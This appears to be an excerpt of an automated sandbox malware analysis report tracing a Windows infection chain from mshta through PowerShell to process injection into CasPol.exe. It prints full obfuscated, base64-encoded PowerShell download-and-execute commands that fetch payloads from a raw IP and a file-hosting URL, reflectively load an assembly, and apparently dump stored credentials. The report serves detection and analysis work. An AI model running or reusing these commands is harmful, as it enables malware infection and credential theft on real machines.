                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 29_2_0041BCE3 LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetModuleHandleA,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,29_2_0041BCE3
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 29_2_00442554 mov eax, dword ptr fs:[00000030h]29_2_00442554
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 29_2_0044E92E GetProcessHeap,29_2_0044E92E
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: DebugJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: DebugJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess token adjusted: Debug
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 29_2_00433CD7 SetUnhandledExceptionFilter,29_2_00433CD7
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 29_2_00434168 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,29_2_00434168
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 29_2_0043A65D IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,29_2_0043A65D
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 29_2_00433B44 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,29_2_00433B44

                HIPS / PFW / Operating System Protection Evasion

                barindex
                Yara detected Powershell download and execute
                Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 1484, type: MEMORYSTR
                Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 2460, type: MEMORYSTR
                Injects a PE file into a foreign processes
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe base: 400000 value starts with: 4D5AJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe base: 400000 value starts with: 4D5A
                Maps a DLL or memory area into another process
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeSection loaded: NULL target: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe protection: execute and read and write
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeSection loaded: NULL target: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe protection: execute and read and write
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeSection loaded: NULL target: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe protection: execute and read and write
                Writes to foreign memory regions
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe base: 400000Jump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe base: 401000Jump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe base: 457000Jump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe base: 470000Jump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe base: 476000Jump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe base: 47B000Jump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe base: 7EFDE008Jump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe base: 400000
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe base: 401000
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe base: 457000
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe base: 470000
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe base: 476000
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe base: 47B000
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe base: 7EFDE008
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: GetCurrentProcessId,OpenMutexA,CloseHandle,CreateThread,CloseHandle,Sleep,OpenProcess, svchost.exe29_2_00410F36
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 29_2_00418754 mouse_event,29_2_00418754
                Source: C:\Windows\System32\mshta.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" "/C pOwErsheLl.exe -Ex ByPass -NOP -W 1 -C deVicecrEdENtIaLdEPlOymENt ; invokE-EXprESsiOn($(InVOKe-eXPReSsIoN('[syStEm.texT.ENCodinG]'+[chAR]0X3a+[chAr]0X3a+'UTf8.gEtsTRiNG([sysTem.cONVeRT]'+[cHaR]0X3a+[Char]0X3A+'fROmbase64sTRING('+[chAr]0X22+'JFh0UWVUaiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWRkLVRZUEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1tRU1iZXJkRUZJTml0SW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsbU9uLmRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgblRFT3csc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBZYVJhaExoVyx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhc29xTmNQLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgV2EpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiR1ZLVmx0ViIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU1BBQ0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEVyYU1ZYlNPdmogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRYdFFlVGo6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjMyLjE3NS4xNjYvODA5L2NyZWF0ZWRiZXN0dGhpZ25zd2lodGVudGlyZXRpbWVnaXZlbm1lYmVzdGZvcmV2ZXIudElGIiwiJGVuVjpBUFBEQVRBXGNyZWF0ZWRiZXN0dGhpZ25zd2lodGVudGlyZXRpbWVnaXZlbm1lYmVzdGZvci52YlMiLDAsMCk7U1RBclQtU0xlRVAoMyk7aWkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRU52OkFQUERBVEFcY3JlYXRlZGJlc3R0aGlnbnN3aWh0ZW50aXJldGltZWdpdmVubWViZXN0Zm9yLnZiUyI='+[Char]34+'))')))"Jump to behavior
                Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe pOwErsheLl.exe -Ex ByPass -NOP -W 1 -C deVicecrEdENtIaLdEPlOymENt ; invokE-EXprESsiOn($(InVOKe-eXPReSsIoN('[syStEm.texT.ENCodinG]'+[chAR]0X3a+[chAr]0X3a+'UTf8.gEtsTRiNG([sysTem.cONVeRT]'+[cHaR]0X3a+[Char]0X3A+'fROmbase64sTRING('+[chAr]0X22+'JFh0UWVUaiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWRkLVRZUEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1tRU1iZXJkRUZJTml0SW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsbU9uLmRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgblRFT3csc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBZYVJhaExoVyx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhc29xTmNQLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgV2EpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiR1ZLVmx0ViIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU1BBQ0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEVyYU1ZYlNPdmogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRYdFFlVGo6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjMyLjE3NS4xNjYvODA5L2NyZWF0ZWRiZXN0dGhpZ25zd2lodGVudGlyZXRpbWVnaXZlbm1lYmVzdGZvcmV2ZXIudElGIiwiJGVuVjpBUFBEQVRBXGNyZWF0ZWRiZXN0dGhpZ25zd2lodGVudGlyZXRpbWVnaXZlbm1lYmVzdGZvci52YlMiLDAsMCk7U1RBclQtU0xlRVAoMyk7aWkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRU52OkFQUERBVEFcY3JlYXRlZGJlc3R0aGlnbnN3aWh0ZW50aXJldGltZWdpdmVubWViZXN0Zm9yLnZiUyI='+[Char]34+'))')))"Jump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\1012d3sk\1012d3sk.cmdline"Jump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\createdbestthignswihtentiretimegivenmebestfor.vbS" Jump to behavior
                Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES82B7.tmp" "c:\Users\user\AppData\Local\Temp\1012d3sk\CSC185E2CF02A494FD98EB3E2DDFFB62AF5.TMP"Jump to behavior
                Source: C:\Windows\System32\mshta.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" "/C pOwErsheLl.exe -Ex ByPass -NOP -W 1 -C deVicecrEdENtIaLdEPlOymENt ; invokE-EXprESsiOn($(InVOKe-eXPReSsIoN('[syStEm.texT.ENCodinG]'+[chAR]0X3a+[chAr]0X3a+'UTf8.gEtsTRiNG([sysTem.cONVeRT]'+[cHaR]0X3a+[Char]0X3A+'fROmbase64sTRING('+[chAr]0X22+'JFh0UWVUaiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWRkLVRZUEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1tRU1iZXJkRUZJTml0SW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsbU9uLmRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgblRFT3csc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBZYVJhaExoVyx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhc29xTmNQLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgV2EpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiR1ZLVmx0ViIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU1BBQ0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEVyYU1ZYlNPdmogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRYdFFlVGo6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjMyLjE3NS4xNjYvODA5L2NyZWF0ZWRiZXN0dGhpZ25zd2lodGVudGlyZXRpbWVnaXZlbm1lYmVzdGZvcmV2ZXIudElGIiwiJGVuVjpBUFBEQVRBXGNyZWF0ZWRiZXN0dGhpZ25zd2lodGVudGlyZXRpbWVnaXZlbm1lYmVzdGZvci52YlMiLDAsMCk7U1RBclQtU0xlRVAoMyk7aWkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRU52OkFQUERBVEFcY3JlYXRlZGJlc3R0aGlnbnN3aWh0ZW50aXJldGltZWdpdmVubWViZXN0Zm9yLnZiUyI='+[Char]34+'))')))"Jump to behavior
                Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $desprover = 'JGxhc2lhbnRoZXJhID0gJ2h0dHBzOi8vMzAxMi5maWxlbWFpbC5jb20vYXBpL2ZpbGUvZ2V0P2ZpbGVrZXk9T0YwZ0ZjeE1RQ1V3UFlsZVR5YjJZaDlhQlRwUmw5X0tfTE9vVEtBcks0aXBNckg4TjBqaWJYclBZSm9GdmpxYUs1MHFHdyZ0cmFjaz1rclVOeXdFSiZza2lwcmVnPXRydWUmcGtfdmlkPWE2YTkyNjY0Mzg5MzcxNGUxNzMyNzA4OTE0MWQ5NDMyICc7JGVuZ29tYXIgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50OyRyZXNvID0gJGVuZ29tYXIuRG93bmxvYWREYXRhKCRsYXNpYW50aGVyYSk7JGFmcmFnYXIgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZygkcmVzbyk7JGJ1ZmlkbyA9ICc8PEJBU0U2NF9TVEFSVD4+JzskZXN0ZW5kYXJpYSA9ICc8PEJBU0U2NF9FTkQ+Pic7JGFzbmFtZW50byA9ICRhZnJhZ2FyLkluZGV4T2YoJGJ1Zmlkbyk7JHRyaWJ1bCA9ICRhZnJhZ2FyLkluZGV4T2YoJGVzdGVuZGFyaWEpOyRhc25hbWVudG8gLWdlIDAgLWFuZCAkdHJpYnVsIC1ndCAkYXNuYW1lbnRvOyRhc25hbWVudG8gKz0gJGJ1Zmlkby5MZW5ndGg7JHJhbmNhdHJpbGhhID0gJHRyaWJ1bCAtICRhc25hbWVudG87JGx1cmdvID0gJGFmcmFnYXIuU3Vic3RyaW5nKCRhc25hbWVudG8sICRyYW5jYXRyaWxoYSk7JHRhbGlzY2EgPSAtam9pbiAoJGx1cmdvLlRvQ2hhckFycmF5KCkgfCBGb3JFYWNoLU9iamVjdCB7ICRfIH0pWy0xLi4tKCRsdXJnby5MZW5ndGgpXTskbHVmYWRhID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkdGFsaXNjYSk7JGluY29udGFtaW5hZG8gPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKCRsdWZhZGEpOyRmb2xpZm9ybWUgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKCdWQUknKTskZm9saWZvcm1lLkludm9rZSgkbnVsbCwgQCgndHh0LkZHVlZGR1IvOTA4LzY2MS41NzEuMjMyLjI3MS8vOnB0dGgnLCAnJHN1c3RvJywgJyRzdXN0bycsICckc3VzdG8nLCAnQ2FzUG9sJywgJyRzdXN0bycsICckc3VzdG8nLCckc3VzdG8nLCckc3VzdG8nLCckc3VzdG8nLCckc3VzdG8nLCckc3VzdG8nLCcxJywnJHN1c3RvJykpOw==';$lavajo = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($desprover));Invoke-Expression $lavajoJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"Jump to behavior
                Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe pOwErsheLl.exe -Ex ByPass -NOP -W 1 -C deVicecrEdENtIaLdEPlOymENt ; invokE-EXprESsiOn($(InVOKe-eXPReSsIoN('[syStEm.texT.ENCodinG]'+[chAR]0X3a+[chAr]0X3a+'UTf8.gEtsTRiNG([sysTem.cONVeRT]'+[cHaR]0X3a+[Char]0X3A+'fROmbase64sTRING('+[chAr]0X22+'JFh0UWVUaiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWRkLVRZUEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1tRU1iZXJkRUZJTml0SW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsbU9uLmRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgblRFT3csc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBZYVJhaExoVyx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhc29xTmNQLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgV2EpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiR1ZLVmx0ViIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU1BBQ0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEVyYU1ZYlNPdmogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRYdFFlVGo6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjMyLjE3NS4xNjYvODA5L2NyZWF0ZWRiZXN0dGhpZ25zd2lodGVudGlyZXRpbWVnaXZlbm1lYmVzdGZvcmV2ZXIudElGIiwiJGVuVjpBUFBEQVRBXGNyZWF0ZWRiZXN0dGhpZ25zd2lodGVudGlyZXRpbWVnaXZlbm1lYmVzdGZvci52YlMiLDAsMCk7U1RBclQtU0xlRVAoMyk7aWkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRU52OkFQUERBVEFcY3JlYXRlZGJlc3R0aGlnbnN3aWh0ZW50aXJldGltZWdpdmVubWViZXN0Zm9yLnZiUyI='+[Char]34+'))')))"
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\oerqobky\oerqobky.cmdline"
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\createdbestthignswihtentiretimegivenmebestfor.vbS"
                Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESAA05.tmp" "c:\Users\user\AppData\Local\Temp\oerqobky\CSC7CE8CD1AF8FA450C9BA47DDDFCB379F.TMP"
                Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $desprover = 'JGxhc2lhbnRoZXJhID0gJ2h0dHBzOi8vMzAxMi5maWxlbWFpbC5jb20vYXBpL2ZpbGUvZ2V0P2ZpbGVrZXk9T0YwZ0ZjeE1RQ1V3UFlsZVR5YjJZaDlhQlRwUmw5X0tfTE9vVEtBcks0aXBNckg4TjBqaWJYclBZSm9GdmpxYUs1MHFHdyZ0cmFjaz1rclVOeXdFSiZza2lwcmVnPXRydWUmcGtfdmlkPWE2YTkyNjY0Mzg5MzcxNGUxNzMyNzA4OTE0MWQ5NDMyICc7JGVuZ29tYXIgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50OyRyZXNvID0gJGVuZ29tYXIuRG93bmxvYWREYXRhKCRsYXNpYW50aGVyYSk7JGFmcmFnYXIgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZygkcmVzbyk7JGJ1ZmlkbyA9ICc8PEJBU0U2NF9TVEFSVD4+JzskZXN0ZW5kYXJpYSA9ICc8PEJBU0U2NF9FTkQ+Pic7JGFzbmFtZW50byA9ICRhZnJhZ2FyLkluZGV4T2YoJGJ1Zmlkbyk7JHRyaWJ1bCA9ICRhZnJhZ2FyLkluZGV4T2YoJGVzdGVuZGFyaWEpOyRhc25hbWVudG8gLWdlIDAgLWFuZCAkdHJpYnVsIC1ndCAkYXNuYW1lbnRvOyRhc25hbWVudG8gKz0gJGJ1Zmlkby5MZW5ndGg7JHJhbmNhdHJpbGhhID0gJHRyaWJ1bCAtICRhc25hbWVudG87JGx1cmdvID0gJGFmcmFnYXIuU3Vic3RyaW5nKCRhc25hbWVudG8sICRyYW5jYXRyaWxoYSk7JHRhbGlzY2EgPSAtam9pbiAoJGx1cmdvLlRvQ2hhckFycmF5KCkgfCBGb3JFYWNoLU9iamVjdCB7ICRfIH0pWy0xLi4tKCRsdXJnby5MZW5ndGgpXTskbHVmYWRhID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkdGFsaXNjYSk7JGluY29udGFtaW5hZG8gPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKCRsdWZhZGEpOyRmb2xpZm9ybWUgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKCdWQUknKTskZm9saWZvcm1lLkludm9rZSgkbnVsbCwgQCgndHh0LkZHVlZGR1IvOTA4LzY2MS41NzEuMjMyLjI3MS8vOnB0dGgnLCAnJHN1c3RvJywgJyRzdXN0bycsICckc3VzdG8nLCAnQ2FzUG9sJywgJyRzdXN0bycsICckc3VzdG8nLCckc3VzdG8nLCckc3VzdG8nLCckc3VzdG8nLCckc3VzdG8nLCckc3VzdG8nLCcxJywnJHN1c3RvJykpOw==';$lavajo = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($desprover));Invoke-Expression $lavajo
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\user\AppData\Local\Temp\mkrbfyryejtjdkianmbpxiuuhuj"
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\user\AppData\Local\Temp\xmeuxqcasrlooyxewxwrivodiitksr"
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\user\AppData\Local\Temp\zhjnyjntozdtqflifiikliburpktlcmpbo"
                Source: C:\Windows\System32\mshta.exeProcess created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" "/c powershell.exe -ex bypass -nop -w 1 -c devicecredentialdeployment ; invoke-expression($(invoke-expression('[system.text.encoding]'+[char]0x3a+[char]0x3a+'utf8.getstring([system.convert]'+[char]0x3a+[char]0x3a+'frombase64string('+[char]0x22+'jfh0uwvuaiagicagicagicagicagicagicagicagicagicagicagpsagicagicagicagicagicagicagicagicagicagicagywrklvrzueugicagicagicagicagicagicagicagicagicagicagic1tru1izxjkruzjtml0sw9uicagicagicagicagicagicagicagicagicagicagicanw0rsbeltcg9ydcgivvjsbu9ulmrsbcisicagicagicagicagicagicagicagicagicagicagicbdagfyu2v0id0gq2hhclnldc5vbmljb2rlkv1wdwjsawmgc3rhdgljigv4dgvybibjbnrqdhigvvjmrg93bmxvywrub0zpbguosw50uhryicagicagicagicagicagicagicagicagicagicagicbslhn0cmluzyagicagicagicagicagicagicagicagicagicagicagblrft3csc3ryaw5nicagicagicagicagicagicagicagicagicagicagicbzyvjhaexovyx1aw50icagicagicagicagicagicagicagicagicagicagicbhc29xtmnqleludfb0ciagicagicagicagicagicagicagicagicagicagicagv2epoycgicagicagicagicagicagicagicagicagicagicagic1uqu1ficagicagicagicagicagicagicagicagicagicagicair1zlvmx0viigicagicagicagicagicagicagicagicagicagicagic1oqw1lu1bbq0ugicagicagicagicagicagicagicagicagicagicagievyyu1zylnpdmogicagicagicagicagicagicagicagicagicagicagic1qyxnzvghydtsgicagicagicagicagicagicagicagicagicagicagicrydfflvgo6olvstervd25sb2fkvg9gawxlkdasimh0dha6ly8xnziumjmylje3ns4xnjyvoda5l2nyzwf0zwrizxn0dghpz25zd2lodgvudglyzxrpbwvnaxzlbm1lymvzdgzvcmv2zxiudelgiiwijgvuvjpbufbeqvrbxgnyzwf0zwrizxn0dghpz25zd2lodgvudglyzxrpbwvnaxzlbm1lymvzdgzvci52ylmildasmck7u1rbclqtu0xlrvaomyk7awkgicagicagicagicagicagicagicag